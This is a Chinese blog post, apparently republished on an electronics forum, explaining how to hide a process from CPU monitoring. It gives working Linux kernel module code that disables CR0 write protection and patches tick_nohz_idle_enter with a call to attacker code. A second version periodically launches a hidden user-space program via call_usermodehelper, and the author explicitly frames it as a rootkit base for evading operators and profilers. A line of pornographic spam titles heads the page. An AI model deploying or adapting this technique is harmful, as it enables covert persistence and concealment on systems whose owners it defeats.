91欧美超碰AV自拍|国产成年人性爱视频免费看|亚洲 日韩 欧美一厂二区入|人人看人人爽人人操aV|丝袜美腿视频一区二区在线看|人人操人人爽人人爱|婷婷五月天超碰|97色色欧美亚州A√|另类A√无码精品一级av|欧美特级日韩特级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何利用CPU隱藏一個進(jìn)程

lhl545545 ? 來源:Linuxer ? 作者:Linuxer ? 2020-06-09 15:16 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

前面談過如何隱藏一個進(jìn)程,我說過,隱藏procfs接口那無異于掩耳盜鈴,正確的做法應(yīng)該是將task_struct從任何鏈表中摘除,僅僅保留于run queue。

CPU利用率會暴露你隱藏的進(jìn)程…

于是hook掉CPU記賬接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占優(yōu)勢。

其實(shí),還有一個好辦法,即劫持idle,這樣我們甚至可以不用管CPU記賬程序, idle多當(dāng)然好啊,運(yùn)維們不正期望idle多嗎?idle多沒人會去perf的吧…

測試代碼如下:

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;

void test_stub1(void){ unsigned long i;

local_bh_disable(); // 防止期間時鐘中斷記賬到sys或者si。 local_irq_disable(); // 開始我們的計(jì)算任務(wù)。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();

}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

需要注意的是,計(jì)算任務(wù)不能睡眠,不能schedule,不能太太太繁重,以免被perf發(fā)現(xiàn)。其實(shí),如果機(jī)器在機(jī)房,電源風(fēng)扇的轟鳴是可以掩蓋CPU風(fēng)扇的,不過液冷的話就要另想辦法了。

我們看下效果吧。我用虛擬機(jī)測試,下面左邊是宿主機(jī),右邊是虛擬機(jī),沒有劫持idle時的CPU利用率如下:

如何利用CPU隱藏一個進(jìn)程

下面是劫持后的:

如何利用CPU隱藏一個進(jìn)程

雖然右邊虛擬機(jī)的CPU依然幾乎全部都是idle,和未劫持時沒有差別,然而宿主機(jī)的能耗騙不了人。筆記本的風(fēng)扇噪聲在加大,以至于我不得不用Macs Fan Control將風(fēng)扇轉(zhuǎn)速調(diào)低,然而鋁殼正在變得發(fā)燙。

哪個是真的,哪個是假的,假亦真時真亦假…

我倒是覺得,idle作為Rootkit的根據(jù)地還是非常不錯,如果你想執(zhí)行一些 真正的任務(wù) ,那就call usermodehelper唄,只要確保這個helper完成任務(wù)及時退出就行。

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;

void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太猶豫,做完就走。且該程序要以某種方式使readdir無法顯示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

run的代碼如下:

#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa

”, 10);}

效果就是在系統(tǒng)壓力不大時,每隔大約1秒中在/dev/pts/0終端打印一串a(chǎn)。

如果run程序執(zhí)行時間在作為human being的運(yùn)維人員和經(jīng)理的視角轉(zhuǎn)瞬即逝的話,同時run又是一個隱藏文件的話,試問如何發(fā)現(xiàn)誰打出的a呢?

運(yùn)維和經(jīng)理打字敲回車以及他們的蛋白質(zhì)眼睛無法分辨200ms以下的事件。
責(zé)任編輯:pj

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • cpu
    cpu
    +關(guān)注

    關(guān)注

    68

    文章

    11285

    瀏覽量

    225148
  • 接口
    +關(guān)注

    關(guān)注

    33

    文章

    9527

    瀏覽量

    157103
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評論

    相關(guān)推薦
    熱點(diǎn)推薦

    飛凌嵌入式ElfBoard-進(jìn)程之什么是進(jìn)程

    系統(tǒng)性能,優(yōu)化系統(tǒng)資源的使用,以及管理進(jìn)程的生命周期。當(dāng)然,在程序中,用戶也可以通過系統(tǒng)調(diào)用和庫函數(shù)來獲取和管理進(jìn)程信息。進(jìn)程IDLinux下每個進(jìn)程都會有
    發(fā)表于 03-02 08:49

    服務(wù)器驚現(xiàn)“活死人”?僵尸進(jìn)程排查、危害與解決全指南

    在服務(wù)器運(yùn)維中,你是否遇到過這樣的怪事:明明任務(wù)已經(jīng)結(jié)束,進(jìn)程卻像“活死人” 樣賴著不走,還霸占著進(jìn)程 ID(PID)?這就是僵尸進(jìn)程(Zombie Process) 在搞鬼。今天,
    的頭像 發(fā)表于 02-04 17:41 ?1683次閱讀
    服務(wù)器驚現(xiàn)“活死人”?僵尸<b class='flag-5'>進(jìn)程</b>排查、危害與解決全指南

    Linux進(jìn)程管理不用愁!這6工具幫你搞定90%場景

    在 Linux 系統(tǒng)中,進(jìn)程是資源分配的基本單位,無論是服務(wù)器運(yùn)維、程序調(diào)試還是日常使用,掌握進(jìn)程管理工具都是必備技能。今天就帶大家梳理 6 最常用的進(jìn)程管理工具,從查看
    的頭像 發(fā)表于 02-04 16:23 ?1655次閱讀
    Linux<b class='flag-5'>進(jìn)程</b>管理不用愁!這6<b class='flag-5'>個</b>工具幫你搞定90%場景

    Linux進(jìn)程樹分析工具pstree詳解與實(shí)戰(zhàn)指南(另視角優(yōu)化Linux系統(tǒng))

    在 Linux 系統(tǒng)開發(fā)與運(yùn)維中,理解進(jìn)程的運(yùn)行狀態(tài)和相互關(guān)系是排查問題、優(yōu)化性能的基礎(chǔ)。pstree 作為款輕量高效的進(jìn)程樹可視化工具,能直觀展示系統(tǒng)中所有進(jìn)程的父子關(guān)系,為系統(tǒng)分
    的頭像 發(fā)表于 02-04 16:21 ?739次閱讀
    Linux<b class='flag-5'>進(jìn)程</b>樹分析工具pstree詳解與實(shí)戰(zhàn)指南(另<b class='flag-5'>一</b>視角優(yōu)化Linux系統(tǒng))

    飛凌嵌入式ElfBoard-進(jìn)程之什么是進(jìn)程

    ID,用戶ID,組ID以及終止?fàn)顟B(tài)等)。4.1.1 進(jìn)程和程序的區(qū)別程序是靜態(tài)的代碼集合,是組指令的集合,用于執(zhí)行特定的任務(wù)。程序通常以文件的形式存在,存儲在硬盤、閃存或其他存儲
    發(fā)表于 01-26 08:42

    飛凌嵌入式ElfBoard-系統(tǒng)信息與資源之獲取當(dāng)前進(jìn)程時間

    : 0 ticksChild System CPU time: 0 ticksTotal CPU time: 4 ticks tick 通常表示
    發(fā)表于 01-20 08:53

    進(jìn)程概念和特征

    的并發(fā)性和共享性。   為了使參與并發(fā)執(zhí)行的程序(含數(shù)據(jù))能獨(dú)立地運(yùn)行,必須為之配置專門的數(shù)據(jù)結(jié)構(gòu),稱為進(jìn)程控制塊(Process Control Block, PCB)。系統(tǒng)利用
    發(fā)表于 01-15 06:39

    進(jìn)程通信

    進(jìn)程通信是指進(jìn)程之間的信息交換。PV操作是低級通信方式,髙級通信方式是指以較高的效率傳輸大量數(shù)據(jù)的通信方式。高級通信方法主要有以下三類。   共享存儲   在通信的進(jìn)程之間
    發(fā)表于 01-15 06:16

    進(jìn)程的控制

    進(jìn)程控制的主要功能是對系統(tǒng)中的所有進(jìn)程實(shí)施有效的管理,它具有創(chuàng)建新進(jìn)程、撤銷已有進(jìn)程、實(shí)現(xiàn)進(jìn)程狀態(tài)轉(zhuǎn)換等功能。在操作系統(tǒng)中,
    發(fā)表于 01-15 06:05

    深入Linux內(nèi)核:進(jìn)程調(diào)度的核心邏輯與實(shí)現(xiàn)細(xì)節(jié)

    在Linux系統(tǒng)中,進(jìn)程調(diào)度就像位精明的“CPU管理員”——它決定著哪個進(jìn)程能優(yōu)先使用CPU,多久切換
    的頭像 發(fā)表于 12-24 07:05 ?4331次閱讀
    深入Linux內(nèi)核:<b class='flag-5'>進(jìn)程</b>調(diào)度的核心邏輯與實(shí)現(xiàn)細(xì)節(jié)

    解析Linux的進(jìn)程、線程和協(xié)程

    、基礎(chǔ)概念 進(jìn)程(Process) 進(jìn)程是計(jì)算機(jī)中運(yùn)行的程序的實(shí)例,它是操作系統(tǒng)中最基本的執(zhí)行單元之。每個進(jìn)程都有自己的獨(dú)立內(nèi)存空間
    發(fā)表于 12-22 11:00

    CPU里真的有黃金:看完秒懂

    在大家的印象中,黃金是珠寶、投資品和工業(yè)原料,但很少有人知道,我們每天使用的電腦CPU里竟然也隱藏著這種貴金屬。那為什么芯片會用到黃金,CPU中能有多少純金呢?不依靠專業(yè)設(shè)備能提取
    的頭像 發(fā)表于 08-30 15:41 ?5644次閱讀

    linux服務(wù)器挖礦病毒處理方案

    情況說明:挖礦進(jìn)程隱藏CPU占用50%,htop/top卻看不到異常進(jìn)程),結(jié)束挖礦進(jìn)程后馬上又會運(yùn)行起來(crontab -l查看發(fā)現(xiàn)
    的頭像 發(fā)表于 04-09 10:33 ?1261次閱讀
    linux服務(wù)器挖礦病毒處理方案

    Linux進(jìn)程狀態(tài)詳解

    進(jìn)程狀態(tài)是task_struct內(nèi)的整數(shù);進(jìn)行:進(jìn)程在調(diào)度隊(duì)列中,進(jìn)程的狀態(tài)都是running,阻塞:等待某種設(shè)備或者資源就緒。
    的頭像 發(fā)表于 04-01 09:46 ?1174次閱讀
    Linux<b class='flag-5'>進(jìn)程</b>狀態(tài)詳解

    進(jìn)程、線程、協(xié)程傻傻分不清?文帶你徹底扒光它們的\"底褲\"!

    是(每個進(jìn)程可以跑在不同CPU) 是(線程可以分配到不同核) 否(只能在核上蹦迪) 適用場景 銀行系統(tǒng)、docker容器 視頻渲染、實(shí)時音視頻 微信客服、高并發(fā)Web服務(wù)器 社死
    發(fā)表于 03-26 09:27